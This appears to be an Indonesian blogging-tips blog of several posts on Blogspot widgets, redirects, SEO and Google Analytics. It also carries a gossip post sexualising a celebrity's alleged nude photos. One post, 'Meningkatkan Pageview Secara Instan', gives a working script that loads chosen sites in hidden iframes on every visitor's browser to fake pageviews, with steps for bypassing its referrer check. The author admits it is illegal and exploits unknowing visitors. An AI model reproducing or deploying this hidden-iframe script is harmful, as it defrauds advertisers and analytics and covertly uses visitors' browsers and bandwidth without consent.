Cara Membuat Redirect Link Blog Dengan Javascript

Cara Membuat Redirect Link Blog Dengan Javascript - Redirect link atau link yang bersifat  mengembalikaan adalah salah satu teknik untuk mendongkraak visitor. Script redirect link biasanya digunaakan ketika seorang web master ingin meningkaatkan traffic untuk web atau blog barunya dari web atau blog yang sudaah ada sebelumnya (tentunya memiliki traffic yang tinggi).

 

Redirect Link ini terkadang juga digunakaan untuk melakukan teknik blackhat seo. So teknik redirect link ini sebaaiknya digunakan dengan bijak.

Cara membuat redirect link pada blog

Untuk membuat script redirect link sobat bisa menggunaakan 2 cara dan semuanya menggunakaan bantuan javascript.

Cara yang pertama untuk membuat redirect link adalah dengaan cara langsung, maksudnya eksekusi redirect link akan dilakukan seketika juga.

<script type="text/JavaScript">
location.replace('http://blogndroy[dot]blogspot[dot]com/');
</script>

Sedangkan cara yang kedua kita bisa menyisipkaan jeda atau delay pada script redirect link ini sehingga proses redirect link  akan menunggu beberaapa saat

<script type="text/JavaScript">
setTimeout("location.href = 'http://blogndroy[dot]blogsppot[dot]com/';",5*1000);
</script>

Simple kan cara membuat redirect link blog? Sobat juga bisa mengaplikasikaan script ini untuk redirect broken link di blogspot. Semoga bermanfaat.

Baca Selengkapnya »

Cara Membuat Floating Share Button

      

Cara Membuat Floating Share Button - Floating share button atau tombol berbagi adalah salah satu widget yang sangat dianjurkan untuk dipasang di blog sobat. Setelah memudahkan pengunjung dengan memasang fitur related posts di sidebar, menambahkan breadcrumbs navigation dan juga widget recent posts sehingga sobat bisa meningkatkan pageview maka berilah kesempatan kepada pengunjung blog sobat untuk membagikan artikel favorit mereka.

Dengan memasang floating share button atau tombol berbagi ini bisa memudahkan pengunjung untuk membagikan artikel sobat ke social media ataupun social bookmark plus dapat bonus backlink.

Sebenarnya share button ini sudah disediakan oleh blogger akan tetapi tampilannya yang super biasa membuat share button bawaan blogger ini kurang bisa menarik minat pengunjung. So kali ini kita akan mencoba untuk membuat floating share button (melayang).

Keuntungan floating share button

Floating share button atau tombol berbagi melayang ini mempunyai beberapa kelebihan, salah satunya adalah share button ini tidak hanya berada di halaman artikel  sehingga sobat juga bisa mempromosikan homepage blog sobat dengan floating share button ini.

Cara membuat floating share button

1. Seperti biasa login dulu di blogger.


2. Pilih Rancangan (Design) > Edit HTML > Centang Expand Template Widget.


3. Kita taruh dulu kode css-nya, cari  ]]></b:skin> kemudian copast kode berikut:
   
   

   
   #sharebutton {
background-color:#FFFFFF;
border-color:#C1CDCD;
border-style:solid;
border-width:1px;
left:5px;
bottom:150px;
margin-top:10px;
position:fixed;
width:64px;
}
#sharebutton .float {margin:7px}
.FBConnectButton_Text
{
font-size: 8px;
padding:2px 4px 3px !important;
}



4. Tulisan yang berwarna merah bisa sobat sesuaikan sendiri. Jika sudah cari kode </body> dan copast kode berikut ini tepat diatasnya
   
   

   
<div id='sharebutton'>
<div class='float'>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'/>
</div>
<div class='float'>
<a href='http://www.facebook.com/sharer.php' name='fb_share' type='box_count'>Share</a><script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'/>
<div class='clear'/></div>
<div class='float'>
<a class='google-buzz-button' data-button-style='normal-count' href='http://www.google.com/buzz/post' title='Post on Google Buzz'/>
<script src='http://www.google.com/buzz/api/button.js' type='text/javascript'/>
</div>
<div class='float'>
<script src='http://www.stumbleupon.com/hostedbadge.php?s=5'/> </div>
</div>



5. Save dan lihat hasil membuat floating share button sobat.

Sekian tutorial  membuat floating share button (tombol berbagi yang melayang)

semoga bermanfaat. Kalau ada teknik yang lebih oke boleh donk saya dikasih tau hehehe...

Baca Selengkapnya »

Meningkatkan Pageview Secara Instan (Fake Pageview)

Saya nemu di forum adsense neh :D jika sobat ingin meningkatkan pageview secara instan bisa kok tanpa melakukan 10 tips dan cara meningkatkan pageview.

Script fake pageview ini bisa dibilaang ilegal mungkin ya karena kita melakukaan fake pageview pada pengunjung yang tak berdosa hahaha... Yaudah langsung saja neh script untuk meningkatkaan pageview (fake)

script fake pageview

<script type='text/javascript'>
var sLocation = document.referrer.toLocaleLowerCase();
//Links to boost
var rDomains = ["http://situs1[dot]com","http//situs2[dot]com","http://situs3[dot]com"];
//Allowed domain referrer
var aDomains = [".com"];
var valid = 0;

//Valid referrer
for (i=0;i<aDomains.length;i++) {
//Check referrer
if (sLocation.indexOf(aDomains[i], 0) > -1)
{
valid = 1;
break;
}
}

//Valid referrer
if (valid == 1)
{
//Loop
for (i=0;i<rDomains.length;i++) {
//alert(rDomains[i]);
invisibleWindow("mydiv" + i,rDomains[i]);
}
}

function invisibleWindow(iframeID, url) {
divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "5px";
divel.style.height = "5px";
divel.style.visibility = "hidden";

//Add div
document.body.appendChild(divel);

domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "5px";
domiframe.style.height = "5px";
domiframe.style.visibility = "hidden";

var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);
}
</script>

Keterangan

• Silahkan sobat ganti namasitus dengan URL yang ingin ditingkaatkan pageviewnya.


• var aDomains = [".com"];
  
  Ini adalah Referrer Check. Jika sobat ingin script ini haanya jalan untuk Visitor dari google.com. tinggal ganti "google.com" disana. Sobat juga dapat memaakai koma dan membuat list sebanyak yang sobat inginkan misal ["google.com","yahoo.com","bing.com] dst.


• Untuk pengguna blogspot, letakkan kode tersebut pada gadget HTML, atau bisa juga langsung di tambahkan di gadget yang sudah ada.


• Untuk wordpress, buka .html atau .php file cari tag <body> setelah itu paste kode tersebut.
  Ubah var rDomains = var rDomains = ["SITUS1[dot]COM","SITUS2[dot]COM","SITUS3[dot]COM"]; Dengan URL sobat.
  Ubah var aDomains = [".com"] sesuai keinginan lihat petunjuk diatas.
  Untuk bypass referrer validation dan Allow Semua referrers
  Ubah var valid = 0; Menjadi var valid = 1;

Gunakan script fake pageview tersebut dengan bijak ya hehehe... semoga bermanfaat :D

Baca Selengkapnya »

10 Tips dan Cara Meningkatkan Pageview Blog

Pageview pada sebuaah blog sering dijadikan indikator akaan ramai atau tidaknya blog tersebut. Sebelum membahas tentang bagaimana meningkatkan pageview mungkin bagi sebagiaan sobat masih belum mengerti apa itu pageview

.

Apa sih pageview itu?

Pageview adalah istilah untuk menyataakan berapa banyak halaman dalam suatu web atau blog   yang dibuka atau dibaaca oleh pengunjung.

Apakah penting mengetahui pageview?

Menurut saya ya penting, percuma saja kita mendataangkan ribuan traffic tapi ternyata pengunjung blog tidak menemukaan informasi seperti yang diharapkan, ujung-ujungnya akan di close tab nya dan mencaari referensi lain.

Dengan meningkatkan pageview juga bisa membantu posisi artikel atau blog untuk   bersaing dan bertahan di SERP

10 tips dan cara meningkatkan pageview

1. Update isi blog
   Tidak bisa dipungkiri, dengaan rutin mengupdate isi blog kita maka semakin banyak informasi yang didapatkan oleh pengunjung, tentunya isi atau konten tersebut original dan bisa memberikaan manfaat bagi pembaca.


2. Memasang breadcrumbs navigation
   Selain ramah dengaan search engine, breadcrumbs navigation bisa membuat pengunjung mengetahui lokasi artikel yang sedang dibaaca dan bukan tidak mungkin label atau kategori artikel tersebut ditelusuri lebih jauh oleh pengunjung.



3. Meningkatkan Pageview dengan random posts

   .
   Widget radom posts sangat membantu untuk meningkatkan pageview blog karena widget ini akan menampilkan postingan secara acak mulaai dari yang paling lama sampai yang terbaru sehingga bisa membaantu pengunjung untuk mencari artikel menarik lainnya dari blog sobat.


4. Fitur related posts.
   Selain random posts, fitur related posts juga berperan penting untuk meningkatkan pageview blog. Fitur related posts akan memberikaan artikel-artikel yang berkaitan dengan artikel yang sedang dibaca oleh pengunjung sehingga peluang untuk mempertahaankan pengunjung dan meningkatkan pageview semakin besar.


5. Buat judul yang menarik.
   Meningkatkan pageview juga bisa dilakukaan dengan membuat judul yang menarik sehingga pengunjung merasa penasaaran dengan isi artikel atau posting tersebut.


6. Widget artikel terpopuler.
   Widget ini juga bisa digunakan untuk merangsang pembaaca supaya lebih betah lagi berada di blog sobat dan meningkatkan pageview blog. Widget ini berisi daftar artikel andalan yang sudaah sobat tulis.


7. Internal linking.
   Kalau yang satu ini saya rasa sudaah pada tau ya, selain berguna untuk optimasi on page, internal linking bisa memudahkan pengunjung untuk menelusuri blog sobat lebih jaauh serta meningkatkan pageview.


8. Menu navigasi.
   

   Menu navigasi sangat penting untuk meningkaatkan pageview blog sobat

   . Buatlah menu navigasi sejelaas mungkin dan semudah mungkin supaya pembaca tidak kesulitan menemukaan artikel yang diinginkan.


9. Sembunyikan widget yang tidak terlalu penting.
   Terkadang kita ingin membuat blog yaang cantik dengan menambahkan berbaagai macam widget. Sobat perlu mempertimbangkan lagi penggunaan widget-widget tersebut. Aturlaah dengan menyembunyikan widget pada halaman tertentu supaya loading blog tidaak terlalu berat.


10. Hindari iklan yang berlebihan.
    Memasang iklan boleh-boleh saja akan tetapi jaanganlah terlalu berlebihan, cukup satu iklan dan letakkaan di tempat yang strategis, seperti di tengah posting, sudah bisa menghasilkaan keuntungan plus bisa

    meningkatkan pageview

    blog sobat.

Dengan menerapkan 10 tips dan cara meningkatkan pageview di atas bukan hal yang mustahil untuk meningkatkan pageview blog dengan cepat. Semoga bermanfaat.

Baca Selengkapnya »

Manfaatkan Google Analytics Untuk Analisa Traffic Blog

Manfaatkan Google Analytics Untuk Analisa Traffic Blog - saya yakin sobat sudaah pada tau kalo mbah google sebagaai search engine terbesar meyediakan layanaan gratis bernama Google Analytics. Tool ini sangaat banyak manfaatnya, bahkan bisa dibilaang cukup komplit. Setelah mencari keyword populer dan menulis artikel yang seo friendly dengaan optimasi keyword density pasti sobat juga ingin tau kan seberaapa besar efeknya? Selain melihat dari SERP, Google Analytics  ini cocok untuk menganalisa traffic blog.

Fitur-fitur Google Analytics

Kalo bicaara fitur sih sepertinya banyaak banget yak, yang jelaas tool ini buatan mbah google, so ya pasti recommended lah untuk analisis blog sobat. Selain itu ada juga beberaapa kelebihan Google Analytics seperti:

• Mengetahui sumber pengunjung, apakah dari search engine atau dari link yang terkait dengan blog sobat.


• Mengetahui seberapa lama pengunjung blog berada di blog sobat.


• Mengetahui berapa persen kunjungan baru ke blog sobat.


• Ada juga fitur untuk bisnis alias E-commerce.


• Tab-tab tersebut bisa sobat gunakan untuk menganalisis keyword apa yang paling populer di blog sobat dan loyalitas pengunjung terhadap blog sobat.

Banyak kan fitur-fitur yang bisa sobat gunaakan dengan Google Analytics? Terus bagaimana cara menggunakan Google Analytics? Baca ajah terus artikel ini hehehe...

Cara memulai menggunakan Google Analytics

1. Langsung saja ke Google Analytics.


2. Kalau belum pernah daftar silahkan Sign Up menggunaakan akun google sobat.


3. Jika telah selesai mendaftar sobat akan diberi kode javascript yang harus diletakkan di template blogspot. Hal ini untuk memudaahkan Google Analytics menganilisa blog kita.


4. Copy dan paste kan kode tersebut di atas kode </head> pada template blog sobat.


5. Jika di poin ketiga sobat tidak mendapatkan kode javascript tersebut ikuti langkah-langkah berikut:
   
   
   
   • Masuk ke Dashboard > pilih profil blog yang ingin di verifikasi (satu akun bisa memanage beberapa blog sekaligus) > klik Edit (bagian sebelah kanan) > klik Periksa Status
   
   
   • Pilih yang sesuai blog sobat kemudian tinggal copy paste ajah seperti di atas.


6. Save template dan tunggu saja beberaapa hari, ga bisa langsung kan baru dipasang kodenya.

Ya begitulah memanfaatkan Google Analytics untuk menganilisis traffic blog sobat. Semoga bermanfaat..

Baca Selengkapnya »

Pemenang Kontes SEO Century 21

Pemenang Kontes SEO Century 21 - Tanggal 25 Januari adaalah tanggal penutupaan kontes seo yang diadakan oleh Century 21. Kontes yang telaah berlangsung dari tanggal 7 November 2011 ini memperebutkaan posisi nomor wahid di SERP google.co.id dengan target keyword Century 21 Broker Properti Jual Beli Sewa Rumah Indonesia.

Berikut hasil pemenang kontes seo century 21 seperti dikutip dari website resminya di alamaat  http://seocontest.century21.co.id/2011/winner.php

1. Nama: Lerry apriantoni

Winning URL: http://www.ovcio.com/century-21-broker-properti-jual-beli-sewa-rumah-indonesia.html

2. Nama: Syahrullah

Winning URL: http://lingkarmerah.blogspot.com/2011/11/century-21-broker-properti-jual-beli.html

3. Nama: Dede Yahya

Winning URL: http://www.dedeyahya.com/2011/11/century-21-broker-properti-jual-beli.html

4. Nama: Ahmad Subhan

Winning URL: http://seoblogger4.blogspot.com/2011/11/century-21-broker-properti-rumah.html

5. Nama: Aris Nurbawani

Winning URL: http://arisnb.nulis.web.id/century-21-broker-properti-jual-beli-sewa-rumah-indonesia.html

6. Nama: Ulun Nuha Hafidhi

Winning URL: http://www.holic.web.id/century-21-broker-properti-jual-beli-sewa-rumah-indonesia.html

7. Nama: Yoga Ailala

Winning URL: http://www.yoga.web.id/2011/11/century-21-broker-properti-jual-beli.html

8. Nama: Khoirudin

Winning URL: http://pendhowo.com/century-21-broker-properti-jual-beli-sewa-rumah-indonesia

9. Nama: Wahyu Winoto

Winning URL: http://www.wahyu-winoto.com/2011/11/century-21-broker-properti-jual-beli.html

10. Nama: Sugianto

Winning URL: http://sugicloud.com/century-21-broker-properti-jual-beli-sewa-rumah-indonesia.html

Selamat kepada para pemenang :)

Baca Selengkapnya »

Cara Menyembunyikan Widget Pada Halaman Blogspot

Menyembunyikan widget pada halamaan tertentu adaalah hal yang cukup penting, selaain untuk efesiensi dan optimasi seo on page, menyembunyikan widget pada halaman tertentu bisa mengurangi kesumpekaan sebuah blog.

Misalnya sobat ingin menaampilkan widget recent posts pada blog sobat, nah apakaah hal ini perlu juga ditampilkaan di homepage yang mana memang isinya adalah daftar artikel atau posting terbaaru kita? Mubadzir kan? So kita harus mengaatur atau menyembunyikan widget tersebut di halaman yang kita inginkaan, tertarik? Caranya mudah kok..

Cara menyembunyikan atau menampilkan widget pada halaman tertentu

• Seperti biasa, login dulu ke blogger.


• Masuk ke Desgin (Rancangan) > Edit HTML > Centang Expand Template Widget.


• Cari Widget yang ingin sobat atur, untuk memudahkan pake Ctrl + F misal di sini saya ingin menyembunyikan widget Recent Posts pada home page
  

  
  <b:widget id='HTML3' locked='false' title='RECENT POSTS' type='HTML'>
<b:includable id='main'>
<b:if cond='data:blog.url != data:blog.homepageUrl'>
<!-- only display title if it's non-empty -->
<H2 class='title'><data:title/></H2>
<div class='widget-content'>
<data:content/>
</div>
</b:if>
</b:includable>
</b:widget>



• Perhatikan tulisan berwaarna merah tersebut, kode data:blog.homepageUrl bisa sobat isi dengan alamat halaman langsung dengan tanda petik misalnya seperti
  <b:if cond='data:blog.url != "http://blogndroy.blogspot.com"'>


• Yang perlu diingat, jangan sampai sobat lupa memasukkan penutup tag if, yaitu </b:if>


• Tag atau kode != artinya jika kondisi tidak sama dengaan, untuk perintah yang menyatakan kondisi sama dengan maka gunakan ==

Selesei deh menyembunyikan atau menampilkan widget pada halaman tertentu, tinggal sobat atur sendiri mana widget yang akan ditampilkan atau disembunyikaan. Semoga bermanfaat...

Tags: menyembunyikan widget, menyembunyikan widget pada halaman posting, menyembunyikan widget di homepage, menampilkan atau menyembunyikan widget, menyembunyikan widget pada artikel tertentu

Baca Selengkapnya »

Top 10 Syntax Google Search (SEO Tips)

Top 10 Syntax Google Search (SEO Tips) - Bagi para master mungkin sudah hafal luar kepaala tentang 10 syntax wajib google search ini, tapi bagi yang masih newbie seperti saya ini kayaaknya masih membutuhkan referensi lagi.

Dalam dunia per-seo-an, mencari keyword dengan tepat adalah salah satu ujung tombaak untuk mendatangkaan visitor. Sebelum mengoptimalkan keyword density, untuk lebih bisa memetaakan persaingan keyword yang sobat tembaak sobat bisa menggunakan beberapa syntax dasaar untuk google search sehingga sobat mendapatkaan real number dari pesaing.

Bukan hanya untuk keyword saja, 10 syntax wajib google search ini juga bisa digunakaan untuk keperluan lain yang masih berhubungaan dengan SEO misalnya syntax untuk mengetahui backlink atau syntax untuk mengetaahui berapa jumlah halaman blog sobat yaang sudah terindeks oleh google.

Selain untuk SEO, 10 syntax dasar google search ini juga bisa membaantu sobat untuk mendapatkan hasil pencariaan yang lebih spesifik

Top 10 Google Search Syntax

1. Syntax google search site

   . Berguna untuk melihaat jumlah halaman web atau blog yang sudah terindeks oleh google.

   
   site:blogndroy.blogspot.com




2. Syntax google search cache

   . Mengetahui cache terakhir suatu halamaan yang terekam oleh google sobat bisa melihat tanggal dan versi terbaru halamaan tersebut.

   
   cache:blogndroy.blogspot.com




3. Syntax google search info

   . Menampilkan informasi yang berguna tentang suatu web seperti web lain yang memilik niche yang sama atau halaaman yang menampilkan URL web tersebut.

   
   info:blogndroy.blogspot.com




4. Syntax google search link

   . Menampilkan eksternal link terhadap suatu web

   
   link:blogndroy.blogspot.com




5. Syntax google search related

   . Menampilkan web yang berhubungan dengan web tertentu.

   
   related:blogndroy.blogspot.com




6. Syntax google seacrh allinurl or inurl

   . Membaatasi pencarian dengan menampilkan URL yang mengandung keyword. Syntax allinurl akan menaampilkan hasil yang lebih spesifik jika keyword yang dicari dalaam bentuk frase.

   
   inurl:seo blogger
   
   maka hasilnya adalah url yang mengaandung kata seo atau blogger atau keduanya
   
   allinurl:seo blogger
   
   maka hasilnya adalah url yang mengandung seo blogger




7. Syntax google search allintext dan intext

   . Jika sobat menggunaakan syntax ini Google akan menampilkaan hasil pencarian keyword berupa text. Contoh [ intext: design ruby rails ] maka hasilnya adalah semua halaman yang mengaandung kata words “design,” “ruby,” and “rails” yang berupa text.

   
   intext:keyword




8. Syntax google search allinanchor or inanchor

   . Membaatasi pencarian dan menaampilkan web atau halaman yang menggunaakan anchor text sesuai keyword. Sama seperti syntax URL, allinanchor lebih spesifik untuk mencaari anchor text yang berupa frase.

   
   inanchor:keyword




9. Syntax google search allintitle or intitle

   . Membaatasi pencarian dengan menampilkan web atau blog yang menggunaakan keyword sebagai title. Sama seperti syntax URL dan text, untuk lebih spesifik gunakan syntax allintitle

   
   intitle:keyword




10. Syntax google search define

    . Syntax ini mungkin tidak berhubungaan dengan SEO tapi cukup berguna untuk mencari referensi tentang suatu topik yang akan sobat tulis.

    
    define:keyword

Itulah 10 syntax google search yang bisa membantu sobat dalam optimasi mesin pencari atau SEO. Semoga bermanfaat..

Baca Selengkapnya »

Foto Nikita Mirzani

foto nikita mirzani

Siapa yang tidak kenal Nikita Mirzani? Pasti sobat blogger kenal dan sudah bukaan rahasia lagi kalo artis yaang stau ini kerap berpose hot. Nikita Mirzani tampil bugil seolah-olah sudaah seperti berita yang biasa. Di dunia maya lagi ramai-ramaainya berita tentang foto bugil Nikita Mirzani, foto Nikita Mirzani topless, foto Nikita Mirzani yang payudaranya dipegang oleh seorang pria. Ada juga foto Nikita Mirzani dan Daus.

Berikut ini foto-foto Nikita Mirzani yang katanya foto bugil tersebut (diambil dari kapanlagi[dot]com)

Foto Nikita Mirzani dan Daus

Foto Hot Nikita Mirzani

Berita yang didaapat blog ini, seperti dilansir kapanlagi[dot]com Nikita Mirzani benar-benaar cuek atas beredarnya foto-foto dirinya yang cenderung seronok.

Tags: foto bugil nikita mirzani, foto nikita mirzani topless, foto nikita dan daus, nikita mirzani kakek-kakek narsis, foto nikita mirzani tanpa bra, foto nikita mirzani 2012, foto nikita mirzani diremas

Baca Selengkapnya »

Cara Membuat Judul Blog Bergerak

Selain dengan mengganti default icon blog, membuat judul blog bergerak

pada address bar browser bisa membaantu sobat untuk lebih mempunyaai ciri tersendiri sehingga pengunjung lebih mudaah mengingat blog sobat. Jika membuat text bergerak bisa dilakukan dengan mudaah pada sidebar, footer, header atau pada postingan, membuat judul blog bergerak tidak bisa disamaakan dengan membuat text bergerak diatas.

So untuk membuat judul blog bergerak kita membutuhkaan bantuan Javascript, jika tertaarik sobat bisa mengikuti langkaah-langkah cara membuat judul blog bergeraak dibawah ini.

Cara membuat judul blog bergerak

1. Seperti biasa login dulu id blooger sobat.


2. Klik tab Rancangan (Design) > Edit HTML.


3. Cari kode <title><data:blog.pageTitle/></title>


4. Kemudian ganti kode tersebut dengan kode berikut ini

   
   

   <script language="JavaScript"><br />var txt="<data:blog.pagetitle/>";<br />var kecepatan=100;var segarkan=null;function bergerak() { document.title=txt;<br />txt=txt.substring(1,txt.length)+txt.charAt(0);<br />segarkan=setTimeout("bergerak()",kecepatan);}bergerak();</script>

   
   Note: angka 100 tersebut menunjukkan kecepaatan, bisa sobat ubah sesuai keinginan. Semakin besar berarti semakin lambat begitu juga sebaliknya.


5. Save dan lihat hasilnya.

Mudah kan  cara membuat judul blog bergerak ? Selamat mencoba...

Baca Selengkapnya »

Cara Mengganti Default Bullet Icon Blogger

Apakah ada sobat blogger yang merasa bosan dengan default bullet icon bawaan template seperti yang saya alami? Kalau iya berarti sobat kudu merubah atau mengganti bullet icon bawaan template blog sobat tuh. Setelah muter-muter akhirnya saya bisa juga mengganti bullet icon blogspot atau lebih tepatnya default bullet icon bawaan template blog yang saya pakai ini.

Bullet icon yang sudah dimodifikasi bisa digunakan untuk mempercantik random posts atau untuk keperluan lain supaya terlihat lebih rapi dan cantik. Tertarik ingin mengganti deault icon bullet list blog sobat? Yaudah lanjutin ajah baca tentang cara mengganti default bullet arrow icon list blogger atau blogspot ini hehehe...

Cara mengganti default bullet icon blogger atau blogspot

• Login ke blogger


• Pilih Rancangan / Design kemudian pilih Edit HTML


• Cari menu li yang ingin diganti dengan arrow icon
  Beda template biasanya juga berbeda, jika sobat ingin merubah default bullet icon pada sidebar maka kodenya terlihat seperti ini

  
  .sidebar li {
font-size: inherit;
background: transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEnocWZ7T1Sj6rLYcTPRHgnxA1Y4DZ0bBEm6B-zevmR_qvDALviDIRkVaArJ749hmfC4oHrhG9ACFq4oesKbNzpvjT4bhImWUc4m6EoLBuiz2rI4gINqc450kOsIcK31HG186z4enDHEbw/s320/bullet_list_icon.jpg) no-repeat left top; border-bottom: none;
line-height:1.25em;
padding-left:1.5em;
padding-right:1.5em;
}



• Jika sobat ingin mengganti bullet icon untuk diletakkan di postingan atau artikel sobat harus cari kode post li terlebih dahulu, biasanya terlihat seperti ini

  
  .post li {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
line-height: 1.5em;
}

  
  Setelah ketemu sobat bisa merubah atau mengganti dengan bullet icon tersebut sesuai selera sobat sehingga akan terlihat seperti ini

  
  .post li {
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEnocWZ7T1Sj6rLYcTPRHgnxA1Y4DZ0bBEm6B-zevmR_qvDALviDIRkVaArJ749hmfC4oHrhG9ACFq4oesKbNzpvjT4bhImWUc4m6EoLBuiz2rI4gINqc450kOsIcK31HG186z4enDHEbw/s320/bullet_list_icon.jpg) no-repeat 0px .30em;
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
line-height: 1.5em;
}



• Ganti alamat icon yang berwarna merah sesuai alamat icon yang akan sobat gunakan

Selesai deh, mudahkan cara mengganti default bullet icon blogger atau blogspot ini? Selamat mencoba...

Baca Selengkapnya »

Apa Itu SOPA dan PIPA Serta Akibatnya

Apa Itu SOPA dan PIPA  Serta Akibatnya - Akhir-akhir ini sedaang ramai tentang SOPA dan PIPA, hmm kata yaang aneh kalo menurut saya, kalo sopia latjuba sih saya tau hehehe...

Pengertian SOPA dan PIPA

SOPA merupaakan singkatan yang kepanjangaannya STOP Online Piracy Act atau juga dikenaal dengan H.R 3261 yaitu sebuah rancangaan undang-undang yang dilayangkan oleh Lamar Smith kepada perwakilan Amerika (US House of Representatives) pada tanggal 26 Oktober 2011. Sedangkkan PIPA adalah Protect IP Act

Dengan RUU ini penegak hukum Amerika Serikat dan pemegaang hak cipta akan mempunyai wewenang dan kemampuaan untuk memerangi pembajakan secara online, pencuriaan konten, dan duplikasi hak cipta kekayaan intelektual.

RUU ini tidak mendapatkan tanggapaan positip dari masyarakat seluruh dunia yang telah mempertimbangkan tentang akibat-akibaatnya setelah RUU ini disahkan.

Banyak perusahaan internet raksasa yang menentang disahkannya SOPA yang sangaat kaku sekali ini seperti Google, Facebook, Twitter, Mozilla dan LinkedIn.

Untuk memberikan gambaran yang lebih jelas tentang masaalah ini, sebuah organisasi yang didukung oleh Mozilla, Creative Commons dan Wikimedia telah menciptaakan sebuah Infographic yang menunjukkaan efek dari RUU yang bernaama SOPA ini pada sebuah perusahaan internet.

Apa yang terjadi jika RUU SOPA ini diberlakukan?

• Dengan RUU ini sangat memungkinkan pemerintaahan AS untuk memblokir warga amerika yang mengakses situs-situs yang melanggar hukum


• Pemblokiran DNS akan digunakan untuk menyensor dan memblokir situs web di Amerika Serikat


• Dengan metode yang sama akan diikuti oleh negara-negara seperti Cina, Iran, dan Suriah

Apakah akibatnya setelah RUU SOPA ini berlaku pada seorang webmaster atau pembuat website ?

• Jika situs anda kena kasus, situs Anda akan diblokir dan situs anda tidak akan menerima pengunjung dari Amerika Serikat


• Penghasilan website yang mayoritas berasal dari USA dan Kanada - nantinya akan hilang


• Dengan RUU ini akan membatasi masyarakat Amerika Serikat yang hanya bisa melihat dan mendengar tentang sesuatu hal yang disukai oleh pemerintah Amerika Serikat.

Bagaimana proses kerja dari SOPA ini?

• Pemerintah akan memerintahkan kepaada semua penyedia layanan internet (ISP) di Amerika Serikat untuk memblokir semua situs dari negara-negaara asing yang kontennya seperti gambar, teks atau video ilegal atau melanggar hak cipta. 


• Pemerintah akan memerintahkaan kepada Mesin Pencarian (search engine) untuk memodifikasi hasil dari pencarian user yang sesuai dengaan ketentuan hukum.
  Pemerintah akan memerintahkan penyedia layaanan pembayaran seperti PayPal untuk menutup rekening dari pemilik situs yang telah melanggar hukum. 


• Lembaga penyensor akan mengekpresikan secara bebas untuk mengendalikaan sesuai ketentuan hukum.


• Singkatnya, dunia akan dikontrol melalui internet dan nantinya tidak akaan mudah bisa menemukan informasi seperti di hari ini secara bebas taanpa ada batasan pelanggaran hukum.

Bagaimana ceritanya website kita akan di diblokir DNS-nya?

• User bisa saja memposting sebuah link atau konten ilegal dan akhirnya situs Anda akan diblokir 


• Jika tidak segera mengambil tindakan untuk membersihkaan, website Anda akan diblokir karena tidak tanggap dalam mengantisipasi pemblokiran itu. 


• Quote dan kutipan kata akan dianggap sebagai duplikat konten yang juga ditemukaan di situs/tempat lain


• Setiap situs internet yang melanggar hak cipta akan dieksekusi di/dari Amerika Serikat.

Nah setelah mengetahui tentang apa itu SOPA dan PIPA di atas apakah sobat setuju?

Sumber : http://clubbing.kapanlagi.com/threads/119233-Apa-itu-SOPA-dan-apa-akibat-akibatnya

Baca Selengkapnya »

Cara Membuat Hosting Sendiri Untuk Upload Javascript

Cara Membuat Hosting Sendiri Untuk Upload Javascript - Dalam dunia per-blogger-an java script adalah hal yang amaat familiar, hal ini tidak lepas dari fungsi javascript baik untuk mempercantik blog ataupun memaasang iklan ppc.

Walaupun javascript kurang disenaangi oleh search engine, toh kita tidak bisa lepas dari yaang namanya javascript hehehe...

Kadang memang javascript ini dibutuhkaan sekali, terutama untuk membuaat widget seperti recent posts, related artciles atau ketika membuat daftar isi (sitemap) yang mana bisa memudaahkan visitor dan membuat visitor betah ngubek-ngubek blog kita.

Nah masalahnya, ketika ada kode javascript yang bagus biasaanya kode tersebut ditaaruh di hostingan tempat si pembuaat kode, rasanya kurang enak ajah gitu kalo blog kita kudu download kode javascript dari hostingaan si pembuat (blogger ga taw trimakasih neh, dah dikaasih contekan malah minta source code full hehehe...)

Upload javascript dengan hosting sendiri

So, untuk mengatasi rasa ketidaknyamaanan itu lebih baik kita upload ke hosting kita sendiri, dulu emang hosting itu berbayaar dan mahal tapi sekarang mah bisa gretongan, pasti seneng deh kalo gretongan.

Cara upload javascript di hosting sendiri dengan Google Code

Untuk membuat hosting javascript gratisaan kita bisa menggunakan google code hosting ikuti langkah-langkah berikut:

1. Jelas kudu login dengan menggunakan akun google sobat


2. Klik new project
   
   


3. akan muncul halaman untuk new project
   
   
   
   

   
   Project name : blogedek-javascript-file
   
   Project summary : tempat penyimpanan file-file javascript
   
   Description : File javascript untuk blog aku
   
   Version control system: Mercurial
   
   Source code license: GNU GPL v3
   
   Project label(s) : ActionScript atau dikosongi juga gpp



4. Klik tab Download dan kemudian pilih New Download
   
   
   
   Setelah itu browse file javascript dari pc sobat dan klik submit


5. Setelah berhasil terupload silahkan sobat lihat file javascript tadi dengaan mengklik tab Download lagi
   
   


6. Untuk mendapatkan link dari file javascript yang sudah diupload bisa sobat lakukaan dengan memilih/mengklik file tersebut dan klik kanan > copy link location
   
   

Selesai deh membuat hosting sendiri untuk upload javascript, selamat mencoba dan selamat menikmati hosting gratis dari google code

Baca Selengkapnya »

Belajar SEO?!? Gampang!!! Cukup 15 Menit Saja

What's? Belajar SEO 15 menit sudaah bisa jadi master collogne SEO??? Belajar SEO memaang gampang-gampang susah atau susah-susah gampaang, terserah sobat lah :D

Belajar SEO sulitkah?

Tergantung, bukaan tersanjung lho ya... belajar SEO bisa ajah sulit karena eh karena pihaak search engine sendiri tidak pernaah mengungkapkan bagaimaana algoritma yang digunakan! Tapi bukan berarti belajar SEO itu tidak bisa dipahaami sama sekali, apalagi bagi pemula aka newbie seperti saya ini. Asal ditekuni, belajar SEO kuhususnya bagi pemula atau newbie bukaanlah hal yang sulit.

Belajar SEO otodidak

Ada banyaak referensi di google untuk belajar SEO pemula atau newbie, apa sih yang enggaak kalo ama si mbah hehehe. Asal kita benar-benaar memanfaatkan si mbah untuk tempaat bertanya pasti bisa deh belajar SEO dengan lancaar dan hasilnya cukup memuaaskan.

Belajar SEO pemula 15 menit saja?

